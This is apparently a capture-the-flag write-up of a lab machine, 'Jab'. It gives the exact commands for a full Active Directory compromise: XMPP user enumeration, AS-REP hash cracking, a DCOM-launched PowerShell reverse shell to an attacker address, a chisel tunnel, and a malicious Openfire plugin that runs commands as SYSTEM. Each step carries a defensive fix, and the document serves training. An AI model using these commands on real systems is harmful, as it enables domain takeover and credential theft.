Jab
Summary
I abused Jab's exposed Openfire XMPP chat service to build a complete map of the Active Directory user base, then used that userlist to identify and offline-crack an account with Kerberos pre-authentication disabled. Logging into chat as that user exposed message-archive history in a support room where an operator had pasted the plaintext password for the domain service account svc_openfire.
That account authenticated over SMB and, because it held rights sufficient for DCOM-based remote execution (WinRM was blocked but DCOM was not), I executed a PowerShell reverse shell and captured the user flag. The same svc_openfire password was reused to log into Openfire's web administration console, which is normally reachable only from localhost; a reverse SSH-style tunnel exposed it externally.
From the authenticated admin console, I uploaded a custom malicious plugin. Because the Openfire Windows service runs as NT AUTHORITY\SYSTEM, the plugin's command endpoint executed with SYSTEM privileges, giving full control of the domain controller and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <last>, <room>, <token> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP sweep to discover the AD + Openfire ports.
$ nmap -p- -sV -sC -oA jab_full $TARGETConfirm hostname/domain/OS build and that anonymous SMB sessions are permitted.
$ sudo -u kali nxc smb $TARGETFixDisable anonymous/null SMB sessions on domain controllersLow
Exact commands 2
Headless XMPP client library; the admin console/UI is not needed for this step.
$ pip install slixmppSent over the freshly-registered XMPP session; the search.jab.htb service returns every AD username.
$ <iq type='set' from='you@jab.htb' to='search.jab.htb' id='s1'><query xmlns='jabber:iq:search'><last>*</last></query></iq>FixClose open XMPP account registration and lock down the directory-search serviceMedium
Exact commands 2
Users.txt is the AD username list dumped from XMPP directory search in step 2.
$ impacket-GetNPUsers jab.htb/ -usersfile users.txt -dc-ip $TARGET -format hashcat -no-pass -outputfile asrep_hashes.txtOffline crack of the AS-REP hash; recovers jmontgomery's password.
$ hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txtFixRequire Kerberos pre-authentication and enforce a strong password policy for all AD accountsHigh
Exact commands 2
Authenticated as jmontgomery; lists every MUC room, including uninvited ones.
$ <iq type='get' to='conference.jab.htb' id='disco1'><query xmlns='http://jabber.org/protocol/disco#items'/></iq>XEP-0313 Message Archive Management query; pulls the room's complete history, surfacing the pasted svc_openfire credential.
$ <iq type='set' to='<room>@conference.jab.htb' id='mam1'><query xmlns='urn:xmpp:mam:2'/></iq>FixStop storing credentials in chat rooms and restrict archive access to invited membersHigh
Exact commands 4
Validate the recovered credential against SMB.
$ sudo -u kali nxc smb $TARGET -u svc_openfire -p "$PASSWORD" -d jab.htbMMC20 DCOM object gives execution where WinRM is denied; -silentcommand avoids a visible console flash.
$ impacket-dcomexec "jab.htb/svc_openfire:$PASSWORD"@$TARGET "powershell -e <base64 reverse shell to $ATTACKER_IP:4444>" -silentcommand -object MMC20Run inside the resulting shell to prove the foothold before reading the flag.
$ whoami
jab\svc_openfireReads the user flag — replace with <user.txt> when reporting the value.
$ type C:\Users\svc_openfire\Desktop\user.txtFixRemove unnecessary DCOM/remote-execution rights from the Openfire service accountCritical
Exact commands 3
Reuses the step-5 foothold to launch chisel as a background reverse tunnel.
$ sudo -u kali nxc smb $TARGET -d jab.htb -u svc_openfire -p "$PASSWORD" --exec-method mmcexec -x "C:\Windows\Temp\chisel.exe client $ATTACKER_IP:8001 R:19090:127.0.0.1:9090 R:19091:127.0.0.1:9091"Fetch the login page cookies and CSRF token needed for the authenticated POST.
$ curl -sS -D - --max-time 15 http://127.0.0.1:19090/login.jspAuthenticates to the tunneled admin console with the reused domain-service password.
$ curl -sS -L -b cookies.txt -c cookies.txt --data-urlencode 'login=true' --data-urlencode 'csrf=<token>' --data-urlencode 'username=svc_openfire' --data-urlencode "password=$PASSWORD" http://127.0.0.1:19090/login.jspFixStop reusing domain-service passwords for application admin loginsHigh
Exact commands 3
Uploads the malicious plugin jar through the authenticated admin session's plugin-management endpoint.
$ curl -sS -b cookies.txt -F 'uploadfile=@jab-proof.jar' 'http://127.0.0.1:19090/plugin-admin.jsp?uploadplugin=true'Triggers the plugin's command endpoint; expect NT AUTHORITY\SYSTEM in the response — proves escalation before reading the flag.
$ curl -sS --max-time 20 'http://127.0.0.1:19090/plugins/jabfixedproof/proof?key=123&cmd=whoami'Reads the root flag as SYSTEM — replace with <root.txt> when reporting the value.
$ curl -sS --max-time 20 'http://127.0.0.1:19090/plugins/jabfixedproof/proof?key=123&cmd=type+C:\Users\Administrator\Desktop\root.txt'FixRestrict Openfire plugin uploads and run the service with least privilegeCritical
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5222/tcp | unknown recon-sweep-discovered |
| 5223/tcp | unknown recon-sweep-discovered |
| 5262/tcp | unknown recon-sweep-discovered |
| 5263/tcp | unknown recon-sweep-discovered |
| 5269/tcp | unknown recon-sweep-discovered |
| 5270/tcp | unknown recon-sweep-discovered |
| 5275/tcp | unknown recon-sweep-discovered |
| 5276/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 7070/tcp | unknown recon-sweep-discovered |
| 7443/tcp | unknown recon-sweep-discovered |
| 7777/tcp | unknown recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49673/tcp | unknown recon-sweep-discovered |
| 49694/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49696/tcp | unknown recon-sweep-discovered |
| 49703/tcp | unknown recon-sweep-discovered |
| 49766/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.